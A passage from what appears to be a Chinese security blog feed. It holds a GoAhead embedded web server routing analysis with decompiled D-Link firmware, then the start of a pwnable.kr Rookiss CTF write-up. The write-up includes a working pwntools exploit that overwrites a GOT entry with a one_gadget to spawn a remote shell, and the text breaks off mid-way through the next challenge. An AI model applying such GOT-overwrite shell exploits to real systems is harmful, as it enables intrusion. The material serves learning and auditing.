<h1>0x03 Goahead</h1>
<p><a href="https://www.embedthis.com/goahead/doc/">GoAhead</a>也是一个比较常见的嵌入式Web服务器,目前主要的开发版本为<a href="https://github.com/embedthis/goahead/">GoAhead 3/4</a>。其官方文档中详细阐述了在<code class="language-plaintext highlighter-rouge">route.txt</code>定义的<a href="https://www.embedthis.com/goahead/doc/users/routing.html">路由规则</a>,根据匹配的URI来执行不同的<a href="https://www.embedthis.com/goahead/doc/users/handlers.html">handler</a>:有<a href="https://www.embedthis.com/goahead/doc/users/goactions.html">action</a> handler直接在GoAhead进程中执行C函数,<a href="https://www.embedthis.com/goahead/doc/users/cgi.html">CGI</a> handler执行新的CGI程序,也有默认的file handler处理文件请求,还可以自定义新的<a href="https://www.embedthis.com/goahead/doc/developers/handlers.html">handler</a>。开发者自定义的<code class="language-plaintext highlighter-rouge">GoActions</code>则是常见的审计点,goahead代码的<a href="https://www.anquanke.com/post/id/94195">自身问题</a>也需考虑在内。</p>
<h2>源码分析</h2>
<p>执行CGI程序的流程与前述的Web服务器大同小异,这里重点关注可以在goahead中直接执行的<code class="language-plaintext highlighter-rouge">action</code>功能。IoT固件中常见的情况是使用2.1.8版本的<a href="https://github.com/embedthis/goahead/tree/v2.1.8">goahead</a>,<code class="language-plaintext highlighter-rouge">Actions</code>功能<a href="https://www.embedthis.com/goahead/doc/developers/migrating.html">对应</a>为<code class="language-plaintext highlighter-rouge">GoForms</code>功能。其会在<code class="language-plaintext highlighter-rouge">websReadEvent</code>函数中配合<code class="language-plaintext highlighter-rouge">websGetInput</code>函数更新处理请求的状态机器,读取完请求头后调用<code class="language-plaintext highlighter-rouge">websUrlHandlerRequest</code>函数找到匹配URL前缀的处理函数。而在Web服务器初始化过程中调用的<code class="language-plaintext highlighter-rouge">initWebs</code>函数,会定义几个默认的URL handler:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">initWebs</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">hostent</span> <span class="o">*</span><span class="n">hp</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">in_addr</span> <span class="n">intaddr</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">host</span><span class="p">[</span><span class="mi">128</span><span class="p">],</span> <span class="n">dir</span><span class="p">[</span><span class="mi">128</span><span class="p">],</span> <span class="n">webdir</span><span class="p">[</span><span class="mi">128</span><span class="p">];</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">cp</span><span class="p">;</span>
<span class="n">char_t</span> <span class="n">wbuf</span><span class="p">[</span><span class="mi">128</span><span class="p">];</span>
<span class="cm">/* ... */</span>
<span class="cm">/*
* Configure the web server options before opening the web server
*/</span>
<span class="n">websSetDefaultDir</span><span class="p">(</span><span class="n">webdir</span><span class="p">);</span>
<span class="n">cp</span> <span class="o">=</span> <span class="n">inet_ntoa</span><span class="p">(</span><span class="n">intaddr</span><span class="p">);</span>
<span class="n">ascToUni</span><span class="p">(</span><span class="n">wbuf</span><span class="p">,</span> <span class="n">cp</span><span class="p">,</span> <span class="n">min</span><span class="p">(</span><span class="n">strlen</span><span class="p">(</span><span class="n">cp</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">wbuf</span><span class="p">)));</span>
<span class="n">websSetIpaddr</span><span class="p">(</span><span class="n">wbuf</span><span class="p">);</span>
<span class="n">ascToUni</span><span class="p">(</span><span class="n">wbuf</span><span class="p">,</span> <span class="n">host</span><span class="p">,</span> <span class="n">min</span><span class="p">(</span><span class="n">strlen</span><span class="p">(</span><span class="n">host</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">wbuf</span><span class="p">)));</span>
<span class="n">websSetHost</span><span class="p">(</span><span class="n">wbuf</span><span class="p">);</span>
<span class="cm">/* ... */</span>
<span class="cm">/*
* First create the URL handlers. Note: handlers are called in sorted order
* with the longest path handler examined first. Here we define the security
* handler, forms handler and the default web page handler.
*/</span>
<span class="n">websUrlHandlerDefine</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="s">""</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">websSecurityHandler</span><span class="p">,</span>
<span class="n">WEBS_HANDLER_FIRST</span><span class="p">);</span>
<span class="n">websUrlHandlerDefine</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="s">"/goform"</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">websFormHandler</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="n">websUrlHandlerDefine</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="s">"/cgi-bin"</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">websCgiHandler</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="n">websUrlHandlerDefine</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="s">""</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">websDefaultHandler</span><span class="p">,</span>
<span class="n">WEBS_HANDLER_LAST</span><span class="p">);</span>
<span class="cm">/*
* Now define two test procedures. Replace these with your application
* relevant ASP script procedures and form functions.
*/</span>
<span class="n">websAspDefine</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="s">"aspTest"</span><span class="p">),</span> <span class="n">aspTest</span><span class="p">);</span>
<span class="n">websFormDefine</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="s">"formTest"</span><span class="p">),</span> <span class="n">formTest</span><span class="p">);</span>
<span class="cm">/*
* Create the Form handlers for the User Management pages
*/</span>
<span class="cp">#ifdef USER_MANAGEMENT_SUPPORT
</span> <span class="n">formDefineUserMgmt</span><span class="p">();</span>
<span class="cp">#endif
</span>
<span class="cm">/*
* Create a handler for the default home page
*/</span>
<span class="n">websUrlHandlerDefine</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="s">"/"</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">websHomePageHandler</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>开发者可以借助<code class="language-plaintext highlighter-rouge">websFormDefine</code>函数定义与<code class="language-plaintext highlighter-rouge">formName</code>相关联的C处理函数。这样在处理<code class="language-plaintext highlighter-rouge">/goform</code>开头的请求时,会在<code class="language-plaintext highlighter-rouge">formSymtab</code>中找到对应的<code class="language-plaintext highlighter-rouge">formName</code>,最终调用之前<code class="language-plaintext highlighter-rouge">define</code>过的<code class="language-plaintext highlighter-rouge">fn</code>函数:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/************************************* Code ***********************************/</span>
<span class="cm">/*
* Process a form request. Returns 1 always to indicate it handled the URL
*/</span>
<span class="kt">int</span> <span class="nf">websFormHandler</span><span class="p">(</span><span class="n">webs_t</span> <span class="n">wp</span><span class="p">,</span> <span class="n">char_t</span> <span class="o">*</span><span class="n">urlPrefix</span><span class="p">,</span> <span class="n">char_t</span> <span class="o">*</span><span class="n">webDir</span><span class="p">,</span> <span class="kt">int</span> <span class="n">arg</span><span class="p">,</span>
<span class="n">char_t</span> <span class="o">*</span><span class="n">url</span><span class="p">,</span> <span class="n">char_t</span> <span class="o">*</span><span class="n">path</span><span class="p">,</span> <span class="n">char_t</span> <span class="o">*</span><span class="n">query</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">sym_t</span> <span class="o">*</span><span class="n">sp</span><span class="p">;</span>
<span class="n">char_t</span> <span class="n">formBuf</span><span class="p">[</span><span class="n">FNAMESIZE</span><span class="p">];</span>
<span class="n">char_t</span> <span class="o">*</span><span class="n">cp</span><span class="p">,</span> <span class="o">*</span><span class="n">formName</span><span class="p">;</span>
<span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">fn</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="n">sock</span><span class="p">,</span> <span class="n">char_t</span> <span class="o">*</span><span class="n">path</span><span class="p">,</span> <span class="n">char_t</span> <span class="o">*</span><span class="n">args</span><span class="p">);</span>
<span class="n">a_assert</span><span class="p">(</span><span class="n">websValid</span><span class="p">(</span><span class="n">wp</span><span class="p">));</span>
<span class="n">a_assert</span><span class="p">(</span><span class="n">url</span> <span class="o">&&</span> <span class="o">*</span><span class="n">url</span><span class="p">);</span>
<span class="n">a_assert</span><span class="p">(</span><span class="n">path</span> <span class="o">&&</span> <span class="o">*</span><span class="n">path</span> <span class="o">==</span> <span class="sc">'/'</span><span class="p">);</span>
<span class="n">websStats</span><span class="p">.</span><span class="n">formHits</span><span class="o">++</span><span class="p">;</span>
<span class="cm">/*
* Extract the form name
*/</span>
<span class="n">gstrncpy</span><span class="p">(</span><span class="n">formBuf</span><span class="p">,</span> <span class="n">path</span><span class="p">,</span> <span class="n">TSZ</span><span class="p">(</span><span class="n">formBuf</span><span class="p">));</span>
<span class="k">if</span> <span class="p">((</span><span class="n">formName</span> <span class="o">=</span> <span class="n">gstrchr</span><span class="p">(</span><span class="o">&</span><span class="n">formBuf</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="sc">'/'</span><span class="p">))</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
<span class="n">websError</span><span class="p">(</span><span class="n">wp</span><span class="p">,</span> <span class="mi">200</span><span class="p">,</span> <span class="n">T</span><span class="p">(</span><span class="s">"Missing form name"</span><span class="p">));</span>
<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">formName</span><span class="o">++</span><span class="p">;</span>
<span class="k">if</span> <span class="p">((</span><span class="n">cp</span> <span class="o">=</span> <span class="n">gstrchr</span><span class="p">(</span><span class="n">formName</span><span class="p">,</span> <span class="sc">'/'</span><span class="p">))</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
<span class="o">*</span><span class="n">cp</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
<span class="p">}</span>
<span class="cm">/*
* Lookup the C form function first and then try tcl (no javascript support
* yet).
*/</span>
<span class="n">sp</span> <span class="o">=</span> <span class="n">symLookup</span><span class="p">(</span><span class="n">formSymtab</span><span class="p">,</span> <span class="n">formName</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">sp</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
<span class="n">websError</span><span class="p">(</span><span class="n">wp</span><span class="p">,</span> <span class="mi">200</span><span class="p">,</span> <span class="n">T</span><span class="p">(</span><span class="s">"Form %s is not defined"</span><span class="p">),</span> <span class="n">formName</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">fn</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="p">,</span> <span class="n">char_t</span> <span class="o">*</span><span class="p">,</span> <span class="n">char_t</span> <span class="o">*</span><span class="p">))</span> <span class="n">sp</span><span class="o">-></span><span class="n">content</span><span class="p">.</span><span class="n">value</span><span class="p">.</span><span class="n">integer</span><span class="p">;</span>
<span class="n">a_assert</span><span class="p">(</span><span class="n">fn</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">fn</span><span class="p">)</span> <span class="p">{</span>
<span class="cm">/*
* For good practice, forms must call websDone()
*/</span>
<span class="p">(</span><span class="o">*</span><span class="n">fn</span><span class="p">)((</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span> <span class="n">wp</span><span class="p">,</span> <span class="n">formName</span><span class="p">,</span> <span class="n">query</span><span class="p">);</span>
<span class="cm">/*
* Remove the test to force websDone, since this prevents
* the server "push" from a form>
*/</span>
<span class="c">#if 0 /* push */
if (websValid(wp)) {
websError(wp, 200, T("Form didn't call websDone"));
}
#endif /* push */
</span> <span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="cm">/******************************************************************************/</span>
<span class="cm">/*
* Define a form function in the "form" map space.
*/</span>
<span class="kt">int</span> <span class="nf">websFormDefine</span><span class="p">(</span><span class="n">char_t</span> <span class="o">*</span><span class="n">name</span><span class="p">,</span> <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fn</span><span class="p">)(</span><span class="n">webs_t</span> <span class="n">wp</span><span class="p">,</span> <span class="n">char_t</span> <span class="o">*</span><span class="n">path</span><span class="p">,</span>
<span class="n">char_t</span> <span class="o">*</span><span class="n">query</span><span class="p">))</span>
<span class="p">{</span>
<span class="n">a_assert</span><span class="p">(</span><span class="n">name</span> <span class="o">&&</span> <span class="o">*</span><span class="n">name</span><span class="p">);</span>
<span class="n">a_assert</span><span class="p">(</span><span class="n">fn</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">fn</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">symEnter</span><span class="p">(</span><span class="n">formSymtab</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">valueInteger</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span> <span class="n">fn</span><span class="p">),</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<h2>实际案例</h2>
<p>在某型号的Dlink固件当中使用goahead作为Web服务器,逆向可知其沿用的是2.1.8版本的代码,在<code class="language-plaintext highlighter-rouge">main</code>函数中可以找出开发者新增的、和功能处理相关的<code class="language-plaintext highlighter-rouge">formDefine*</code>函数:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">websSetDefaultDir</span><span class="p">(</span><span class="n">acStack336</span><span class="p">);</span>
<span class="n">__s1</span> <span class="o">=</span> <span class="n">inet_ntoa</span><span class="p">(</span><span class="n">__in</span><span class="p">);</span>
<span class="n">sVar5</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">__s1</span><span class="p">);</span>
<span class="n">uVar6</span> <span class="o">=</span> <span class="n">sVar5</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="mh">0x7f</span> <span class="o"><</span> <span class="n">uVar6</span><span class="p">)</span> <span class="p">{</span>
<span class="n">uVar6</span> <span class="o">=</span> <span class="mh">0x80</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">ascToUni</span><span class="p">(</span><span class="n">auStack208</span><span class="p">,</span><span class="n">__s1</span><span class="p">,</span><span class="n">uVar6</span><span class="p">);</span>
<span class="n">websSetIpaddr</span><span class="p">(</span><span class="n">auStack208</span><span class="p">);</span>
<span class="n">websSetHost</span><span class="p">(</span><span class="n">auStack208</span><span class="p">);</span>
<span class="n">websSetDefaultPage</span><span class="p">(</span><span class="s">"default.asp"</span><span class="p">);</span>
<span class="n">websSetPassword</span><span class="p">(</span><span class="n">PTR_DAT_004c19a4</span><span class="p">);</span>
<span class="n">websOpenServer</span><span class="p">(</span><span class="n">DAT_004c1994</span><span class="p">,</span><span class="n">DAT_004c1998</span><span class="p">);</span>
<span class="n">websUrlHandlerDefine</span><span class="p">(</span><span class="o">&</span><span class="n">DAT_00473984</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">websSecurityHandler</span><span class="p">,</span><span class="mi">1</span><span class="p">);</span>
<span class="n">websUrlHandlerDefine</span><span class="p">(</span><span class="s">"/goform"</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">websFormHandler</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
<span class="n">websUrlHandlerDefine</span><span class="p">(</span><span class="s">"/cgi-bin"</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">websCgiHandler</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
<span class="n">websUrlHandlerDefine</span><span class="p">(</span><span class="s">"/sharefile"</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">websShareFileHandler</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
<span class="n">websUrlHandlerDefine</span><span class="p">(</span><span class="o">&</span><span class="n">DAT_00473984</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">websDefaultHandler</span><span class="p">,</span><span class="mi">2</span><span class="p">);</span>
<span class="n">formDefineUtilities</span><span class="p">();</span>
<span class="n">formDefineInternet</span><span class="p">();</span>
<span class="n">form_define_ip_control</span><span class="p">();</span>
<span class="n">formDefineQoS</span><span class="p">();</span>
<span class="n">formDefineWireless</span><span class="p">();</span>
<span class="n">formDefineInic</span><span class="p">();</span>
<span class="n">formDefineFirewall</span><span class="p">();</span>
<span class="n">formDefineManagement</span><span class="p">();</span>
<span class="n">formDefineLogout</span><span class="p">();</span>
<span class="n">formDefineWizard</span><span class="p">();</span>
<span class="n">formDefineVPN</span><span class="p">();</span>
<span class="n">formDefineHttpSharefile</span><span class="p">();</span>
<span class="n">websUrlHandlerDefine</span><span class="p">(</span><span class="o">&</span><span class="n">DAT_00471298</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="o">&</span><span class="n">LAB_0045df0c</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
</code></pre></div></div>
<p>这些<code class="language-plaintext highlighter-rouge">formDefine*</code>函数大多使用<code class="language-plaintext highlighter-rouge">websFormDefine</code>函数定义新增的处理函数,在审计时可重点关注:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">formDefineQoS</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">websFormDefine</span><span class="p">(</span><span class="s">"QoSPortSetup"</span><span class="p">,</span><span class="o">&</span><span class="n">LAB_0046d75c</span><span class="p">);</span>
<span class="n">websFormDefine</span><span class="p">(</span><span class="s">"qosClassifier"</span><span class="p">,</span><span class="o">&</span><span class="n">LAB_0046c590</span><span class="p">);</span>
<span class="n">websFormDefine</span><span class="p">(</span><span class="s">"QoSSetup"</span><span class="p">,</span><span class="n">FUN_0046db08</span><span class="p">);</span>
<span class="n">websFormDefine</span><span class="p">(</span><span class="s">"QoSDeleteULRules"</span><span class="p">,</span><span class="o">&</span><span class="n">LAB_0046d5d4</span><span class="p">);</span>
<span class="n">websFormDefine</span><span class="p">(</span><span class="s">"QoSDeleteDLRules"</span><span class="p">,</span><span class="o">&</span><span class="n">LAB_0046d5f8</span><span class="p">);</span>
<span class="n">websFormDefine</span><span class="p">(</span><span class="s">"QoSLoadDefaultProfile"</span><span class="p">,</span><span class="o">&</span><span class="n">LAB_0046d61c</span><span class="p">);</span>
<span class="cm">/* WARNING: Could not recover jumptable at 0x0046e84c. Too many branches */</span>
<span class="cm">/* WARNING: Treating indirect jump as call */</span>
<span class="n">websAspDefine</span><span class="p">(</span><span class="s">"QoSisPortBasedQoSSupport"</span><span class="p">,</span><span class="o">&</span><span class="n">LAB_0046e73c</span><span class="p">);</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<h1>0x04 总结</h1>
<p>从对以上嵌入式Web服务器的分析可以看出,其会在读取完HTTP请求头后,根据URL前缀来选择执行的CGI程序或内部函数,并且根据<code class="language-plaintext highlighter-rouge">PATH_INFO</code>选择执行程序内最终的handler函数。Web服务器自身的历史问题、新增的二进制代码问题、脚本语言代码审计问题、功能控制点的逻辑问题以及相关的逆向工作都是需要重点关注的。希望通过这次的简要总结能对未知嵌入式Web服务器的安全审计工作提供些参考。</p>
Larryxi
0x00 背景 在一些中小型的IoT设备中,当需要使用Web界面管理设备时,开发者可能会选取合适的开源嵌入式Web服务器进行二次开发,实现单纯的Web服务器中间件,或者将转发请求功能和后端处理功能融合在一个二进制文件当中。二次开发的特定功能如身份认证等和后端的CGI功能,在缺乏安全开发的意识之下很容易出现问题,因此了解熟悉嵌入式设备中常用的Web服务器和其CGI处理功能的实现方式,有助于快速发现设备Web端的审计或测试点。
Pwnable Kr Rookiss Write Up Part One
2019-10-02T00:00:00+00:00
2019-10-02T00:00:00+00:00
https://larryxi.github.io/2019/10/02/pwnable-kr-rookiss-write-up-part-one
<h1>0x00 前言</h1>
<p>个人感觉刷题的意义就在于诚意,要做一个言行一致的人。精力暂时有限,本篇文章记录了<code class="language-plaintext highlighter-rouge">pwnable.kr</code>第二部分<code class="language-plaintext highlighter-rouge">Rookiss</code>的一半题解,其实做题的套路也渐渐懂一些了:先看安全机制,推测是什么问题,再看程序找出问题点,根据上下文环境确定漏洞利用方式,最后是调试验证。</p>
<!-- more -->
<h1>0x01 题解</h1>
<h2>brain fuck</h2>
<p>此题目给我们了.bss段上的一个地址,通过brainfuck功能可以读写一定地址范围内的字节。程序没有开启FULL RELRO还给了bf_libc.so文件,尝试先泄露出函数地址,计算偏移改写GOT表执行shell。但问题是在程序上下文中,没有办法传递<code class="language-plaintext highlighter-rouge">/bin//sh</code>字符串指针作为<code class="language-plaintext highlighter-rouge">system</code>函数的参数,考虑使用[one_gadget]来做:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ one_gadget bf_libc.so
0x3ac5c execve("/bin/sh", esp+0x28, environ)
constraints:
esi is the GOT address of libc
[esp+0x28] == NULL
0x3ac5e execve("/bin/sh", esp+0x2c, environ)
constraints:
esi is the GOT address of libc
[esp+0x2c] == NULL
0x3ac62 execve("/bin/sh", esp+0x30, environ)
constraints:
esi is the GOT address of libc
[esp+0x30] == NULL
0x3ac69 execve("/bin/sh", esp+0x34, environ)
constraints:
esi is the GOT address of libc
[esp+0x34] == NULL
0x5fbc5 execl("/bin/sh", eax)
constraints:
esi is the GOT address of libc
eax == NULL
0x5fbc6 execl("/bin/sh", [esp])
constraints:
esi is the GOT address of libc
[esp] == NULL
</code></pre></div></div>
<p>一般来说在程序中esi不会发生变化,也是指向libc的GOT地址,但栈上或eax还是要满足一定的条件,注意到在程序调用<code class="language-plaintext highlighter-rouge">putchar</code>的过程中,如果<code class="language-plaintext highlighter-rouge">*(char *)p</code>为0即可使<code class="language-plaintext highlighter-rouge">[esp] == NULL</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:0804863A
.text:0804863A loc_804863A: ; jumptable 080485FC case 46
.text:0804863A mov eax, ds:p
.text:0804863F movzx eax, byte ptr [eax]
.text:08048642 movsx eax, al
.text:08048645 mov [esp], eax ; c
.text:08048648 call _putchar
.text:0804864D jmp short loc_804866B ; jumptable 080485FC defaul
</code></pre></div></div>
<p>因为存在延迟绑定,先调用一次<code class="language-plaintext highlighter-rouge">putchar</code>函数再做泄露,最后定位p至tape地址即可使参数为0,利用脚本如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s">'i386'</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span>
<span class="n">libc_elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">'./bf_libc.so'</span><span class="p">)</span>
<span class="n">gdb_init</span> <span class="o">=</span> <span class="s">'''
b *0x08048665
c
'''</span>
<span class="n">putchar_offset</span> <span class="o">=</span> <span class="n">libc_elf</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'putchar'</span><span class="p">]</span>
<span class="n">one_gadget_offset</span> <span class="o">=</span> <span class="mh">0x5fbc5</span> <span class="c1">#execl("/bin/sh", eax)
</span><span class="n">tape_addr</span> <span class="o">=</span> <span class="mh">0x0804A0A0</span>
<span class="n">putchar_got</span> <span class="o">=</span> <span class="mh">0x0804A030</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s">''</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="s">'.'</span> <span class="c1"># use putchar
</span><span class="n">payload</span> <span class="o">+=</span> <span class="s">'<'</span> <span class="o">*</span> <span class="p">(</span><span class="n">tape_addr</span><span class="o">-</span><span class="n">putchar_got</span><span class="p">)</span> <span class="c1"># to putchar_got
</span><span class="n">payload</span> <span class="o">+=</span> <span class="s">'.>'</span> <span class="o">*</span> <span class="mi">4</span> <span class="c1"># leak putchar_addr
</span><span class="n">payload</span> <span class="o">+=</span> <span class="s">'<'</span> <span class="o">*</span> <span class="mi">4</span> <span class="c1"># to putchar_got
</span><span class="n">payload</span> <span class="o">+=</span> <span class="s">',>'</span> <span class="o">*</span> <span class="mi">4</span> <span class="c1"># write one gadget
</span><span class="n">payload</span> <span class="o">+=</span> <span class="s">'>'</span> <span class="o">*</span><span class="p">(</span><span class="n">tape_addr</span><span class="o">-</span><span class="n">putchar_got</span><span class="o">-</span><span class="mi">4</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="s">'[.'</span>
<span class="c1">#p = gdb.debug('./bf', gdb_init)
#p = process('./bf')
</span><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'pwnable.kr'</span><span class="p">,</span> <span class="mi">9001</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'except [ ]</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">putchar_addr</span> <span class="o">=</span> <span class="n">u32</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4</span><span class="p">))</span>
<span class="k">print</span> <span class="nb">hex</span><span class="p">(</span><span class="n">putchar_addr</span><span class="p">)</span>
<span class="n">one_gadget_addr</span> <span class="o">=</span> <span class="n">putchar_addr</span> <span class="o">-</span> <span class="n">putchar_offset</span> <span class="o">+</span> <span class="n">one_gadget_offset</span>
<span class="k">print</span> <span class="nb">hex</span><span class="p">(</span><span class="n">one_gadget_addr</span><span class="p">)</span>
<span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">p32</span><span class="p">(</span><span class="n">one_gadget_addr</span><span class="p">):</span>
<span class="n">p</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>看看其他<a href="https://www.cnblogs.com/p4nda/p/7238704.html">师傅</a>是怎么解决<code class="language-plaintext highlighter-rouge">/bin//sh</code>的问题的,思路就是修改GOT表再次进入<code class="language-plaintext highlighter-rouge">main</code>函数,劫持<code class="language-plaintext highlighter-rouge">strlen</code>函数即可。</p>
<h2>md5 calculator</h2>
<p>此题目比较明显的问题点是在base64解码过程中造成的栈溢出,但程序开启了Canary和NX,就必须要考虑绕过Canary的[知识]了,一开始根据提示以为是要追逐位爆破Canary,搞了半天不是,转过来发现<code class="language-plaintext highlighter-rouge">my_hash</code>函数是存在Canary泄露的:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="kt">int</span> <span class="nf">my_hash</span><span class="p">()</span>
<span class="p">{</span>
<span class="kt">signed</span> <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// [esp+0h] [ebp-38h]</span>
<span class="kt">char</span> <span class="n">v2</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span> <span class="c1">// [esp+Ch] [ebp-2Ch]</span>
<span class="kt">int</span> <span class="n">v3</span><span class="p">;</span> <span class="c1">// [esp+10h] [ebp-28h]</span>
<span class="kt">int</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// [esp+14h] [ebp-24h]</span>
<span class="kt">int</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// [esp+18h] [ebp-20h]</span>
<span class="kt">int</span> <span class="n">v6</span><span class="p">;</span> <span class="c1">// [esp+1Ch] [ebp-1Ch]</span>
<span class="kt">int</span> <span class="n">v7</span><span class="p">;</span> <span class="c1">// [esp+20h] [ebp-18h]</span>
<span class="kt">int</span> <span class="n">v8</span><span class="p">;</span> <span class="c1">// [esp+24h] [ebp-14h]</span>
<span class="kt">int</span> <span class="n">v9</span><span class="p">;</span> <span class="c1">// [esp+28h] [ebp-10h]</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v10</span><span class="p">;</span> <span class="c1">// [esp+2Ch] [ebp-Ch]</span>
<span class="n">v10</span> <span class="o">=</span> <span class="n">__readgsdword</span><span class="p">(</span><span class="mh">0x14u</span><span class="p">);</span>
